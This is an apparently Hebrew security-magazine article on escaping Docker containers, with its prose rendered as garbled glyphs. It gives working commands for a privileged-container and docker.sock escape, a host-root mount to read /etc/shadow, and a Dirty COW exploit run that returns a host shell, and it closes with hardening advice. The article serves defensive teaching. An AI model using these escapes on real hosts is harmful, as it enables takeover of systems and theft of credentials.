 ˸˵˧˶˯ ˰˴˟˪ ˭˸˧ˮ ,ˣ˪˪ˢ ˫˧˪˩ˢ ˸ˮ˵˸ˢ ˶˥˞˪nmap  ˪˷ ˸˷˶ˢ ,ˣˮ˧˧˴ ˶˟˩˷ ˧˲˩ .ˣˮ˪˷ ˸˷˶ˢ ˪˰ ˢ˦ˣ˷˲

-scontainers  ˞˧ˢ172.17.0.0/16˟ ˸ˣ˷˰˪ ˫˧˟ˢˣ˞ ˣˮ˞˷ ˢ˵˧˶˯ˢ .-nmap  ˞˧ˢSynScan  ˢˡˣ˵˲ˢ ˤ˞

:˞˧ˢ ˣˮ˪˷  

nmap - sS - sV - Pn -- open 172.17.0.1/16 - oX container - network.xml  

 

 

ˢ ˸˶˷ ,˸ˣ˞˶˪ ˭˸˧ˮ˷ ˧˲˩-Docker Host  ˦˶ˣ˲˟ ˥ˣ˸˲22  ˸ˣ˶˧˷ ˫˰SSH ˸˟ˣ˸˩˷ ˸ˣ˞˶˪ ˭˸˧ˮ ,˭˩ ˣˬ˩ .

172.17.0.3  ˸ˣ˶˧˷ ˢ˴˧˶ˬnginx  ˦˶ˣ˲˟80 ˸˶˷˟ ˢˣ˟ˠ ˦˶ˣ˲˪ ˢ˲ˣˬˬ ˢˤ ˸ˣ˶˧˷˷ ˥˧ˮˢ˪ ˶˧˟˯ .

 ˣ˸ˣ˞ ˸˞ ˶˸˞˪ ˫ˠ ˪˩ˣˮ ,˫˧ˢˣ˟ˠ ˫˧˦˶ˣ˲ ˸˪˪ˣ˩ˢ ˢ˵˧˶˯ ˰˴˟ˮ ˫˞ˣ ˦ˮ˶˦ˮ˧˞˪ ˱ˣ˷˥ ˞ˣˢ˷ ˨˩ ˸˩˶˰ˬˢ
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 ,˸˶˷˟ ˱ˣ˷˥ ˸ˣ˶˧˷172.17.0.1 ˸˟ˣ˸˩˪ ˸˷ˠ˪ ˢ˯ˮˮ .172.17.0.3  ˫˰curl  ˫˧˲ˣ˷˥ ˭˩˞ ˣˮ˞ ˫˞ ˸ˣ˞˶˪

:˸˶˷˪ 

apt - get install curl  

curl 172.17.0.3:80  

 

ˢ ˫˰ ˸˶ˣ˷˵˸ ˸˧˧˰˟ ˣˮ˪ ˭˧˞ ,˸ˣ˞˶˪ ˭˸˧ˮ˷ ˧˲˩-Container ˣ˸ˣ˞ ˪˰ ˪˧˰˲ˢ ˱˯ˣˮˢDocker Host .  ˧ˬˣ˪˧˴

˧˟ˠ ˪˰˷ ˭˟ˣˬ˩ ˨˞ ˢˡ˟˰ˬ˟ ˣ˷˰ˮ ˢˤ ˶ˬ˞ˬ˟ ˨˯ˬˢ Docker Host  .˫˧˪˧˰˲ ˫˧˸ˣ˶˧˷ ˶˸ˣ˧ ˢ˟˶ˢ ˣ˧ˢ˧ ˪˧˰˲

 ,˸˞ˤ ˫˰ .ˡ˥ˣ˧ˬ˟ ˸˧˦˧˶˵ ˢ˧ˢ˸ ˞˪ ˫ˢ˪˷ ˢ˲˧˷˥ˣ ˦ˮ˶˦ˮ˧˞˪ ˫˧˲ˣ˷˥ ˣ˧ˢ˧ ˣ˪˪ˢ ˫˧˸ˣ˶˧˷ˢˬ ˪ˣˡˠ ˵˪˥

˪˩˟ Docker Host  ˣ˟ˣˮ˪˵˸ˮ ˫ˠ˷ ,ˡˣ˞ˬ ˫˧˷˧ˠ˶ ˫˧˸˧˰˪ ,˫˧˧ˬ˧ˮ˲ ˫˧˸ˣ˶˧˷ ˪˷ ˪˦ˣ˟ˬ ˞˪ ˶˲˯ˬ ˫ˮ˷˧ ,

˫˧˪˧˰˲. 

˶˧ˡˠˢ˪ ˫˧˴ˣ˶ ˣˮ˞ ˶˷˞˩ ˨ˣ˸˪ ˸˷˶ˢ ˪˪˩ˬ ˸˶ˣ˷˵˸ Container, ˟ ˦˶ˣ˲ ˢˤ˧˞ ˷˞˶ˬ ˶˧ˡˠˢ˪ ˨˧˶˴-

Docker Host ˢ ˨ˣ˸˟ ˦˶ˣ˲ ˢˤ˧˞˪ ˶˟˥˸ˬ-Container  ,˸˞ˤ ˫˰ .˰˴˟˸ˢ˪ ˢ˪ˣ˩˧ ˸˶ˣ˷˵˸ˢ ˨˩ ˵˶ˣ

ˢ ˸˟˧˟˯ ˪˷ ˪ˡ˥ˬˢ ˸˶˧˶˟-Docker ˫˰ ˶˷˵˸˪ ˭˸˧ˮ˷ ˞˧ˢ Containers  ˫˞ ˫ˠ ,ˢ˟˧˟˯ ˢ˸ˣ˞˟ ˫˧˶˥˞

 ˢ˧˰˟ .˸ˣ˶˧˷˧ ˢ˲ˣˬˬ ˞˪ ˢˤ˫˷˟ ˢ˶ˡˠˢˬ ˸˰˟ˣˮ ˣˤ ICC - Inter Container Communication .  ˢ˟˶ˬ˪

˞˧ˢ ˣˤ ˢ˶ˡˠˢ ˪˷ ˪ˡ˥ˬˢ ˸˶˧˶˟ ,˞˪˲ˢ true, ˭˧˟ ˢ˞˪ˬ ˸˶ˣ˷˵˸ ˶˷˲˞ˬ˷ ˶˟ˡ Containers  ˫˞ ˫ˠ

˶˧˷˧ ˭˲ˣ˞˟ ˢ˶ˡˠˣˢ ˞˪ ˣˤ ˸˶ˣ˷˵˸. 

 ˢˬ ˢ˲ ˢ˞˧˴˧ˢContainer  ˣˮ˪ ˸ˮ˸ˣˮ ˞˪ ˭˧˧ˡ˰Privilege Escalation ˢ ˪˰ ˞˪ˬ-Host  ˢˠ˧˴ˬ ˶˸ˣ˧ ˞˪˞

 ˭˧˟ ˢˡ˶˲ˢ˟ ˸ˣ˧˸˧˧˰˟Containers .˪ˡ˥ˬˢ ˸˶˧˶˟ ˸ˣ˶ˡˠˢ ˣˮˣ˷ ˞˪˷ ˢ˟˧˟˯˟ 
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 ˧˷˧˪˷ ˵˶˲- ˢˬ ˢ˥˧˶˟-Container ˸ˣˢˣ˟ˠ ˸ˣ˞˷˶ˢ ˭˸ˬ ˸ˣ˟˵˰˟ 

 ˢ ˸˩˶˰ˬ˟ .˸˩˶˰ˬ˟ ˸ˣˢˣ˟ˠ ˸ˣ˞˷˶ˢ˟ ˷ˬ˸˷ˬ˷ ˡˣ˵ ˥˸˲˪ ˶˸ˣ˧ ˪˵ ˸ˣ˟˶ ˫˧ˬ˰˲Docker  ˧˸˷ ˫ˮ˷˧

ˬ ˸ˣ˧˵˧˸ ˱ˣ˸˧˷ :˧˸ˣ˰ˬ˷ˬ ˸ˣ˧ˢ˪ ˪ˣ˪˰ ˫ˢ˟ ˷ˣˬ˧˷˷ ˸ˣ˧ˣ˶˷˲˞-Docker Host  ˨ˣ˸˪Container  ˭˸ˬ ˭˩ˣ

˪ ˸ˣˢˣ˟ˠ ˸ˣ˞˷˶ˢ-Container )Privileged.( 

˪˷ ˫˧ˮˣ˩ˡ˰ ˸ˣ˟˵˰˟ ˪˟˞ ˷˧ˠ˶ ˰ˡ˧ˬ ˱ˣ˷˥˪ ˪ˣ˩˧ ˫ˮˬ˞ ˢ˧˵˧˸ ˪˷ ˱ˣ˸˧˷ Docker  ˸˪˧˥˸˟2017 ˰ˣ˴˧˟ ,

˧ˠ˶ ˫˧˴˟˵˪ ˢ˷˧ˠˣ ˫˧˧ˣˮ˧˷ ˪˷ˢ ˸˩˶˰ˬ ˪˷ ˫˧˷- Docker Host˭ˣˠ˩ (/etc/shadow) ˡˣ˞ˬ ˸˪˟ˠˣˬ. 

ˢ ˳˟ˣ˵ ˪˷ ˱ˣ˸˧˷ ˸ˣ˷˰˪ ˵˧˲˯ˬ ˢ˧ˢ ˶˟˰˟-docker.sockˢ ˨ˣ˸˪ ,-Container  ˸ˣˡˣ˵˲ ˳˧˶ˢ˪ ˭˸˧ˮ ˢ˧ˢˣ

docker .˶ˮ˧˧˦ˮˣ˵ˢ ˨ˣ˸ˬ 

 ˢ˟ˣ˷˥ ˢ˶˰ˢ- ˞ˢ ˧ˮˣ˵˧˸ ,˭˧ˣ˴˷ ˧˲˩ .˶˧˟˯ ˞˪ ˸ˣ˞˶ˢ˪ ˪ˣ˪˰ ˢˤˢ ˵˶˲ˢ ˪˷ ˭˩ˣ˸ˢ ˫˧ˬ˸ˢ ˞˶ˣ˵˪ ˢ˥˦˟

 ˸˪˧˥˸˟ ˵˶ ˣ˰˴ˣ˟ ˣ˪˞ˢ ˫˧˞˷ˣˮˢ ˪˷2017 ˪˰ ˸ˣ˯˯ˣ˟ˬ˷ ˸ˣ˩˶˰ˬ ˣˮ˟ ˶˟˩ ˸ˣ˟˶ ˸ˣ˶˟˥ ˢˤˢ ˟˪˷˟ .

 ˢ ˪˷ ˢ˥˦˟˞ˢ ˸ˣ˶ˡˠˢ˪ ˱˵˰ˬ ˞ˣ˴ˬ˪ ˦ˣ˷˲ ˶˸ˣ˧ ˢ˟˶ˢˣ ˣ˪˞ ˸ˣ˶ˡˠˢ ˶ˡ˰˧ˢDocker  ˸ˣ˷˰˪ ˶˷˞ˬ

.˸ˣ˟ˣ˶ˬ ˸ˣ˩˶˰ˬ˟ /ˢˮ˩ˣ˸ˢ ˡˣ˵˟ ˫˧˧ˣˮ˧˷ 

ˢ ˪˰ ˷ˡ˥ ˷ˬ˸˷ˬ ˶˧ˡˠˮ ˣˮ˞ ˢˤ ˵˶˲ ˶ˣ˟˰-Docker Host  ˫˷˟DigitalWhisper: 

useradd DigitalWhisper  

 ˫˧˶˧ˡˠˬ ˣˮ˞ ˶˷˞˩Container  ˸ˣ˞˷˶ˢ ˫˰Privilegedˢ ,-Container  ˪˷ ˢ˶ˬˣ˥ˢ ˧˟˧˩˶˪ ˸˷ˠ˪ ˧˞˷˶

˟ ˫˧˴˧˶ˬ ˶˷˞˩ ˪ˡ˟ˢˢ ˸˞ ˸ˣ˞˶˪ ˭˸˧ˮ .ˣ˪˷ ˸˪˟ˠˣˬˢ ˢ˟˧˟˯˟ ˵˶ ˧˥ ˞˪ˣ ˸˩˶˰ˬˢ-Container  ˞˪˪

:ˢˡˣ˵˲ˢ ˸˞ ˸ˣˢˣ˟ˠ ˸ˣ˞˷˶ˢ 

ls /dev  

 



 
 

Exiting the Docker Container 

www.DigitalWhisper.co.il 

 ˭ˣ˧˪ˠ85 , ˦˯ˣˠˣ˞2017  30 
 

˟ ˢˡˣ˵˲ ˢ˸ˣ˞ ˸˴˶ˢ ˸ˬˣ˰˪-Privileged Container: 

ˢ ˪˷ ˸ˣ˪ˣ˩˧ˢ ˸˞ ˫˧˟˪˷ˬ ˶˷˞˩-Container ˢ ˱ˣ˸˧˷ ˫˰-Docker Socket  ˸ˣˡˣ˵˲ ˥ˣ˪˷˪ ˭˸˧ˮ ,ˣ˩ˣ˸˪

Docker ˥˸˲ˮ ,ˢ˸˰ .˶ˮ˧˧˦ˮˣ˵ˢ ˨ˣ˸ˬ Container ˢˤ˩ ˱ˣ˸˧˷ ˫˰: 

docker run - it -- privileged - v /var/run/docker.sock:/var/run/docker.sock 

-- name pdc1 - h pdc1 centos /bin/bash  

ˢ ˨ˣ˸˪ ˫˧˶˟ˣ˥ˬ ˣˮ˥ˮ˞˷ ˣ˧˷˩˰-Container ˢ ˸˞ ˭˧˵˸ˢ˪ ˪˩ˣˮ-Docker :˧ˡ˧ ˪˰ 

yum install docker  

ˢ ˨ˣ˸ˬ ˣˮ˸ˣ˞ ˞˧˴ˣ˸ ˱˞ˣ ˰˵˸˸ ˢˮ˵˸ˢˢ ˫˧˸˧˰˪-Container ˢ ˪˷ ˢ˷˧ˠ ˸ˣˮˣ˧˯˧ˮ ˸ˣ˟˵˰˟-Container 

˟ ˫˧˧ˣˮ˧˷ ˰ˣ˴˧˟˪-Docker Hostˢ ˸˞ ˷ˡ˥ˬ ˪˧˥˸ˢ˪ ˦ˣ˷˲ ˶˷˲˞ ,˶ˡ˯˟ ˢˤ .-Container  ˪˷ ˢˮ˵˸ˢˢˣ

Docker :(˞˟ˢ ˟˪˷˪ ˠ˪ˡ˪ ,ˢˮ˵˸ˢ˟ ˸ˣ˪˵˸ ˣ˧ˢ ˞˪ ˫˞) ˢ˪˧˰˲ ˶˟˩ 

docker start pdc1  

docker exec - it pdc1 /bin/bash  

ˢ ˨ˣ˸˪ ˫˧˶˟ˣ˥ˬ ˟ˣ˷ ˣˮ˥ˮ˞ ˣ˧˷˩˰-Container ˸˞ ˭ˣ˥˟˪ ˫˧˪ˣ˩˧ ˣˮ˥ˮ˞  ˸ˣ˪ˣ˰˲ ˰˴˟˪ ˣˮ˪˷ ˸ˣ˶˷˲˞ˢ

Docker: 

 

ˢ ˸ˡˣ˵˲ ,˸ˣ˞˶˪ ˭˸˧ˮ˷ ˧˲˩-docker ps ˢ ˪˩ ˸˞ ˣˮ˪ ˸˦˶˲ˬ-Containers ˟ ˫˧˪˧˰˲ˢ-Docker Host  ˪˟˞

ˢ ˨ˣ˸˟ ˫˧˞˴ˬˮ ˭˧˧ˡ˰ ˣˮ˥ˮ˞-Containerˢ ˦ˣ˶˧˲˟ ˸ˣ˞˶˪ ˭˸˧ˮ ˢˤ ˸˞ ,-/etc/shaow :ˣˮ˪˷ 

 

 ˸ˣˡˣ˵˲ ˸ˣ˰˴ˬ˞˟˷ ˭ˣˣ˧˩docker ˢ ˫˰ ˫˧˶˷˵˸ˬ ˣˮ˥ˮ˞-Docker Host ˶ˣ˴˧˪ ˭˸˧ˮ ,Container  ˪˰˟ ˷ˡ˥

ˢ ˸˧˧˵˧˸ ˸˞ ˣ˧˪˞ ˱˸˷˪ˣ ˸ˣˢˣ˟ˠ ˸ˣ˞˷˶ˢ-root  ˸˧˧˵˧˸ ˨ˣ˸˪ (/)/var/tmp ˢ ˪˷-Container: 
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docker run - it -- privileged - v /:/var/tmp -- name PE - h PE centos 

/bin/bash  

ˢ ˨ˣ˸˪ ˫˧˶˟ˣ˥ˬ ˣˮ˥ˮ˞˷ ˣ˧˷˩˰-Container  ˫˷˟ ˷ˡ˥ˢPE ˢ˲˴ˮ , ˸˧˧˵˧˸˪ ˱˸ˣ˷ˬˢ ˰ˡ˧ˬ˟/var/tmp: 

 

ˢ ˸˩˶˰ˬ˪ ˸˩˧˧˷ ˣˤ ˫˞ˢ ˪˟˞ ˫˧˴˟˵ ˸˩˶˰ˬ ˸ˣ˞˶˪ ˭˸˧ˮ-Docker Host ˪ ˣ˞-Container pdc1?  ˵ˣˡ˟ˮ

ˢ ˳˟ˣ˵ ˸˞ ˸ˣ˞˶˪ ˶˷˲˞ ˫˞-shadow: 

 

ˢ ˷ˬ˸˷ˬ ˞ˣˢ ˢˬ˧˷˶˟ ˭ˣ˶˥˞ˢ ˷ˬ˸˷ˬˢ ,˸ˣ˞˶˪ ˭˸˧ˮ˷ ˧˲˩-DigitalWhisper  ˵˶˲ˢ ˸˪˧˥˸˟ ˣˮ˶˴˧˷

ˢ ˪˰-Docker Host.  ˫˧˴˟˵ˢ ˸˩˶˰ˬ ˪˰ ˸ˣ˞˪ˬ ˸ˣ˞˷˶ˢ ˫˰ ˪˟˞ ˶ˮ˧˧˦ˮˣ˵ ˨ˣ˸˟ ˫ˮˬ˞ ˣˮ˥ˮ˞ ˢˤ ˟˪˷˟

ˢ ˪˷-Docker Host . 

ˢ ˸˶˧˴˧˟ ˸˧ˡ˰˪˟ˢ ˣˮ˸˶˦ˬ ˫˞-Container  ˰ˣ˴˧˟ ˢ˸˧˧ˢ ˢˤˢPrivilege Escalation ˰˴˟˪ ˭˸˧ˮ ,chroot 

 ˸˧˧˵˧˸˪/var/tmp .ˢˡˣ˟˰˪ ˥ˮ ˶˸ˣ˧ ˫ˣ˵˧ˬ˪ ˢ˧˧˵˧˸ˢ ˱ˣ˸˧˷ ˸˞ ˶˧ˡˠˢ˪ ˷˞˶ˬ ˱˞ˣ 
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 ˧˰˧˟˶ ˵˶˲- ˢˬ ˢ˥˧˶˟-Container ˟ ˢ˷˪ˣ˥ ˸ˣ˟˵˰˟-Linux Kernel 

 ˭˧˟ ˫˧˧ˤ˩˶ˬˢ ˫˧˪ˡ˟ˢˢˬ ˡ˥˞Docker ˪ ˶ˮ˧˧˦ˮˣ˵ ˪˩ ˪˷ ˶˧˷˧ˢ ˶ˣ˟˧˥ˢ ˞˧ˢ ˢ˧˴ˤ˧˪˞ˣ˦˶˧ˣ ˭˧˟˪-Kernel 

 ˭ˣˠ˩ ˨˶ˡ˟ ˸˲˯ˣˮ ˢ˟˩˷ ˞˪˪Hypervisor  ˫˧˰ˠˣˮˢ ˸ˣˮˣ˶˸˧ˢ ˸˞ ˣˮ˶˩ˤˢ ˶˟˩ .ˢ˧˴ˤ˧˪˞ˣ˦˶˧ˣˣ˟ ˫˧˧˵˷

ˤ ˵˶˲˟ ,ˢˤ ˞˷ˣˮ˪ˢ ˪˰ ˢ˞˪ˬ ˸ˣ˦˪˸˷ˢ ˠ˧˴ˮ ˢ-Docker Host  ˨ˣ˸ˬContainer  ˢ˷˪ˣ˥ ˪ˣ˴˧ˮ ˸ˣ˰˴ˬ˞˟

-˟Kernel  ˢ ˪˷Docker Host. 

˟ ˢ˷˪ˣ˥ ˷˧˷ ˢˤ ˧˶˪ˣ˲ˣ˲ ˢˬ˩-Linux Kernel?  ˶˸˞ ˧˲ ˪˰cve details ˸ˮ˷ˬ ˪˥ˢ ,1999  ˸ˮ˷˪ ˡ˰

2015˪ ˸ˣ˷˪ˣ˥ ˢ˟˶ˢ ˧˩ˢ ˣ˞˴ˬˮ ˢ˟ ˢˮ˷ˢ ,-Linux Kernel  ˸ˮ˷ ˢ˸˧˧ˢ2013 ˬˮ ˢ˟ ˣ˞˴189 .˸ˣ˷˪ˣ˥ 

 ˸ˮ˷ ˨˪ˢˬ˟2016  ˣ˞˴ˬˮ217 .˸ˣ˷˪ˣ˥  ˸ˮ˷˟2017  ˧ˮˣ˧˟ ˟˸˩ˮ) ˢ˩ ˡ˰2017 ˣ˞˴ˬˮ (336 .˸ˣ˷˪ˣ˥ 

 .˫ˣ˧˟ ˫˧˧ˬ˰˲ ˪˷ ˰˴ˣˬˬ˪ ˫˧˧ˬˣ˧˟ ˫˰˲ ˰˴ˣˬˬ˟ ˢ˷˪ˣ˥ ˸˞˧˴ˬˬ ˶˟˰ˬ ˢ˧ˢ ˸ˣˮˣ˶˥˞ˢ ˫˧ˮ˷ˢ ˸˷ˣ˪˷˟

 ˫˧˲˯ˣˮ ˫˧ˮ˸˷ˬ ˢ˟˶ˢ ˢ˲ ˷˧˷ ˵˲˯ ˭˧˞ ,˪ˣ˴˧ˮ ˸ˣ˶˟ ˸ˣ˷˪ˣ˥ˢ ˪˩ ˞˪˷ ˭˟ˣˬ˩ ˨˞ ˭ˣ˟˷˥˟ ˸˥˵˪ ˨˧˶˴˷

.˧˸ˣ˰ˬ˷ˬ ˭ˣ˸ˮ˟ ˶˟ˣˡˬ ˭˧˧ˡ˰ 

-sLinux Kernel ˪ ˵˪˥˸ˬ-2 " ˢˮˣ˩ˬˢ) ˷ˬ˸˷ˬˢ ˶ˣˤ˞ ,˫˧˧ˤ˩˶ˬ ˫˧˶ˣˤ˞Userlandˢ ˶ˣˤ˞ˣ ("-Kernel 

ˢ ˪˷ ˸ˣ˷˧ˠ˶ˢ ˸ˣ˪ˣ˰˲ˢ ˸ˣ˰˴˟˸ˬ ˣ˟ ˧ˬ˧ˮ˲ˢ-Kernelˢ ˶ˣˤ˞ˬ ˢ˞˧˶˵ ˪˩ .-Userland ˢ ˶ˣˤ˞˪-Kernel 

 ˸˷˶ˣˡsystem callˢ ˸˪ˣ˰˲ .-system call  ˫˧˩˧˪ˢ˸ ˳˧˞ˢ˪ ˸ˮˬ ˪˰ˣ ˢ˶˧ˢˬ ˨˩ ˪˩ ˢˮ˧˞ ˡ˟˰ˬˢ ˡ˴ˬ

ˢ ˶˴ˣˮ-vDSO - Virtual Dynamic Shared Object ˸ˣ˞˧˶˵ ˫˰ ˫˧˧ˮ˧˟ ˶ˣˤ˞ ,system  ˭ˢ˧˪˞ ˸ˣˬ˧ˣ˯ˬ ˡˣ˞ˬ

 ˞˪˪ ˸˷ˠ˪ ˭˸˧ˮsystem call˟ ˸˩ˬˣ˸ ˢˮ˧˞ ˸˩˶˰ˬˢ ˫˞ .-vDSO ˰˴˟˸ˬ ,system call  ˢ˷˪ˣ˥ .˪˧ˠ˶˩

CVE-2016-5195˰ˣˡ˧ˢ ," ˫˷˟ ˢDirty Cow˪ ˟ˣ˶˵ ˸ˬ˧˧˵ ˢ˸˧˧ˢˣ ˢˤ ˭ˣˮˠˮˬ˟ ˸ˣ˰˧ˠ˲ ˸˪˴ˮˬ "-9  ˫˧ˮ˷

.ˢˮ˵ˣ˸ˣ ˶ˣ˟˧˴˪ ˢ˸˪ˠ˸ˢ˷ ˧ˮ˲˪ 

ˢ ˸˞ ˣˮˡ˶ˣˢ ,ˣˤ ˢ˷˪ˣ˥ ˪˷ ˪ˣ˴˧ˮ ˶ˣ˟˰-PoC :ˢ˞˟ˢ ˸˟ˣ˸˩ˢˬ 

https://github.com/gebl/dirtycow-docker-vdso 

 ˪˷ ˢ˷ˡ˥ ˢ˯˶ˠ˟ ˷ˣˬ˧˷ ˫˧˷ˣ˰ ˣˮ˞˷ ˭ˣˣ˧˩Docker ˢ ˸ˣ˞˧˶˵˟ ˷ˣˬ˧˷ˢ ˸˞ ˶˸ˣ˧ ˢ˪˧˟ˠˬ˷-System 

ˢ ˸˞ ˳˧˶ˢ˪ ˸ˮˬ ˪˰ ,˶˟˰˟ ˶˷˞ˬ-Container  ˸˪ˣ˩˧ˢ ˸˞ ˣ˪ ˱˧˯ˣˢ˪ ˫˧˩˧˶˴ ˣˮ˥ˮ˞SYS_PTRACE ,

) ˨˧˪ˢ˸ ˪˷ ˸ˣ˶˷˲˞ˢProcessˢ ˳˟ˣ˵˟ ˢˤ ˸˞ ˱˧˯ˣˮ .˶˥˞ ˨˧˪ˢ˸˟ ˦ˣ˪˷˪ (-docker-compose.yml: 

ve rsion: '2'  

services:  

  dirtycow:  

    build: .  

    restart: unless - stopped  

    cap_add:  

      -  SYS_PTRACE 

 

 ˢ ˸˟ˣ˸˩ ˸˞ ˠ˧˴ˮ ˸˧˷˞˶IP ˢ ,˸˩˶˰ˬˢ ˸˶˷ ˪˷-Docker Host: 

https://github.com/gebl/dirtycow-docker-vdso
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ˢ ˸˟ˣ˸˩ ,˸ˣ˞˶˪ ˭˸˧ˮ˷ ˧˲˩-IP ˢ ˪˷-Docker Host  ˞˧ˢ192.168.198.131ˢ ˸˧˧˵˧˸ ˨ˣ˸ˬ ,ˢ˸˰ .-

ditrycow-docker-vdsoˬ ˣˮˡ˶ˣˢ˷ ,-githubˢ ˸˞ ˳˧˶ˮ ,-Container ˢ ˸˞ ˪˲ˬ˵ˮ ˫˷ˣ-Exploit: 

docker - compose run dirtycow /bin/bash  

cd dirtycow - vdso/  

make 

 

 

 

ˢ ˸˟ˣ˸˩ ˸˞ ˠ˧˴ˮ-IP ˢ ˪˷-Container: 
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ˢ ˸˞ ˳˧˶ˮ ˢ˸˰-Exploit ˢ ˸˟ˣ˸˩ ˸˞ ˠ˧˴ˮˣ-IP ˢ ˸˴˶ˢ ˶˥˞˪ ˫˧˶˟ˣ˥ˬ ˣˮ˥ˮ˞ ˣ˧˪˞ ˟˷˥ˬˢ ˪˷-Exploit: 

./0xdeadbeef 172.18.0.2  

 

 

ˢ ,˸ˣ˞˶˪ ˭˸˧ˮ˷ ˧˲˩-Exploit ˢ ˨ˣ˸ˬ ˣˮ˪˷ ˷ˬ˸˷ˬˢ ˸˞ ˶˧˟˰ˢ-Container ˢ ˨ˣ˸˪-Docker Host ˭˸˧ˮ .

ˢ ˸˟ˣ˸˩ ˧˩ ˸ˣ˞˶˪-IP  ˸˴˶ˢ˟ ˫˧˪˟˵ˬ ˣˮ˞˷ip addr  ˞˧ˢ192.168.198.131ˢ ˸˶˷˪ ˸˩˧˧˷ˢ ˸˟ˣ˸˩ˢ ,-

Docker Host . 

˵˶˲ ˫ˣ˩˧˯ - ˢˬ ˢ˶˵ ˢˬˣ ˳˪ˬˣˬ? 

ˢ ˨ˣ˸ˬ ˢ˞˧˴˧˪ ˫˧˩˶ˡ ˶˲˯ˬ ˣˮˠ˴ˢ ˶ˬ˞ˬˢ ˨˪ˢˬ˟-Container .  ˭˧˟ ˸˶ˣ˷˵˸ˢ˷ ˨˩ ˪˰ ˯˯˟˸ˢ ˭ˣ˷˞˶ˢ

-sContainers ) ˸˪˟ˠˣˬ ˢ˸˧˧ˢ ˞˪ ˢ˟˧˟˯˟ICC˸ˣˢˣ˟ˠ ˸ˣ˞˷˶ˢ ˪˷ ˷ˣˬ˧˷ ˸ˣ˟˵˰˟ ˧ˮ˷ˢ ,( (Privileged) 

-˪Container˸ˣ˟˵˰˟ ˧˷˧˪˷ˢˣ , Kernel ˢ ˪˷ ˰˧ˠ˲-Docker Host.  ˸ˣ˷˪ˣ˥ ˭ˮ˧˞ ˣ˪˞ ˸ˣ˷˪ˣ˥ ,˭˧ˣ˴˷ ˧˲˩

ˢ ˧˪˩˟-Docker ˪ ˸ˣ˰ˠˣˮˢ ˸ˣ˶ˡˠˢˬ ˸ˣ˰˟ˣˮˢ ˸ˣ˷˪ˣ˥ ˞˪˞-Docker ˢ ˫˸˧˞ ˸˩˶˰ˬ ˧˟˧˩˶˪ ˭˩ˣ-Docker 

.ˡ˟ˣ˰ 

˪ ˫ˠ˷ ˸ˣ˶ˬ˪-Docker ˢ ,˶˴ˣˬ˟ ˸ˣ˷˪ˣ˥ ˷˧-Docker  ˭ˣ˩ˮ ˪˟˞ ˸˧˸ˣ˰ˬ˷ˬ ˸ˣ˥˸˲˸ˢ˟ ˭˧˧ˡ˰˷ ˶˴ˣˬ ˣˮ˧ˢ

 ˸ˮ˷˪2017 ˧˪˩ˢ ˸˞ ˪ˢˮ˪ ˟ˣ˷˥ ,˸˩˶˰ˬ ˪˩˟ ˣˬ˩ .˰ˡ˧ˬˢ ˸˥˦˟˞ ˸ˮ˧˥˟ˬ ˟˧˴˧ ˫ˣ˵ˬ˟ ˶˟˩ ˞ˣˢ ,

.ˢˡ˧˲˵˟ ˣˮ˪˷ ˫˧ˮˣ˩˧˯ˢ ˸˞ ˶ˣ˥˟˪ˣ ˢˬ˩˥ ˢ˶ˣ˴˟ 

˪ ˶˷˲˞˪ ˞˪˷ ˸ˮˬ ˪˰ ,ˤ˞-Docker ?˸ˣ˷˰˪ ˭ˣ˩ˮ ˢˬ ,˭ˣˠ˶˞˟ ˢ˷˪˥ˢ ˢ˧˪ˣ˥ˢ ˸ˣ˧ˢ˪ 
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-˪CIS  ˷˧ ˶˟˩Benchmark ˢ ˪˷ ˢ˥˦˟˞ˣ ˢ˥˷˵ˢ ˧˟ˠ˪-Docker  ˫˩ˬ ˢˬ˩ ˪˟˞ ˨ˬ˯ˬ ˫˸ˬ˷˧˧ ˸ˬ˞˟

CIS ?ˢ˴˵˪ ˢ˴˵ˬ 

˪ ˸ˣ˰ˠˣˮ˷ ˸ˣ˴˪ˬˢ ˪˷ ˫˧˲ˡ ˸ˣ˶˷˰ ˟ˣ˸˩˪ ˶˷˲˞ ˫ˮˬ˞ ˤ˞-Docker :˭ˢ ˣˮ˧˸ˣ˴˪ˬˢ ,˫˧˵˶˲ ˧˷˞˶˟ ˨˞ 

1. ˢ ˸ˮ˩ˣ˸ ,ˢ˪˰˲ˢˢ ˸˩˶˰ˬ ˪˷ ˸ˣ˧ˮ˩ˡ˰ ˸ˣ˞˯˶ˠ ˪ˣˢ˧ˮ-Dockerˢ ,-Kernel .ˡˣ˰ˣ ˸˩˶˰ˬˢ ˪˷ 

2. ˩ ˣˮ˸ˣ˞ ˸˷ˬ˷ˬˢ ˢ˪˰˲ˢˢ ˸˩˶˰ˬ ˪˷ ˢ˥˷˵ˢ-Docker Host. 

3.  ˪˷ ˪ˡ˥ˬˢ ˸˶˧˶˟ ˸ˣ˶ˡˠˢ ˪˰ ˶˟˰ˬDocker  ˭˧˟ ˸˶ˣ˷˵˸ ˸ˬ˧˯˥ ˪˪ˣ˩Containers )icc=false.( 

4. ˧˞-˟ ˷ˣˬ˧˷-Privileged Containers. 

5.  ˸˶˷ ˸ˬ˵ˢRegistry  ˫˷˧˧ˬ˷ ˭ˣˠ˶˞˪ ˧ˬ˧ˮ˲ ,˧ˮ˩ˡ˰authentication ˢ ˧˸˶˷ ˫˰ ˧ˮˣˣ˧˩ ˣˡ-Docker 

Host. 

6. ˟ ˵˶ ˷ˣˬ˧˷-Images  ,˭˧ˬ˞ ˶ˣ˵ˬˬOfficial images  ˨ˣ˸ˬ ˧ˬ˴˰ ˶ˣ˴˧˧ ˣ˞official image. 

7.  ˸ˣ˟˧˟˯ ˸ˡ˶˲ˢ ˪ˣ˵˷˪Docker Host  ˢˡ˶˲ˢ ˶ˣ˴˧˪ ˸ˮˬ ˪˰ (˸ˣ˧˪˞ˣ˦˶˧ˣ ˶˷˲˞) ˸ˣˮˣ˷ ˸ˣˮˣ˩ˬ˪

 ˭˧˟ ˸˧˷˰ˬContainers  ˪˰ ˫ˠ ˢ˞˪ˬ ˸ˣ˦˪˸˷ˢ˪ ˪˧˟ˣ˧ ˞˪ ˢˤ ,˳˶˲ˮ ˡ˥˞ ˫˞ ˫ˠ˷ ˭˲ˣ˞˟ ˫˧ˮˣ˷

.˸ˣ˶˥˞ ˸ˣ˟˧˟˯ 

8. ˢ ˸˶ˡˠˢ ,˶˷˲˞ˢ ˸ˡ˧ˬ˟-Containers ˩-Read only. 

9. ) ˡˣ˰˧˸ ˸˶˧ˬ˷loggingˢ ˸˟˧˟˯ ˪˷ (-Docker .˸ˣ˪˵˸ ˪˷ ˢ˶˧˵˥ ˶˷˲˞ˬ˷ ˦˶ˣ˲ˬ ˭˲ˣ˞˟ 

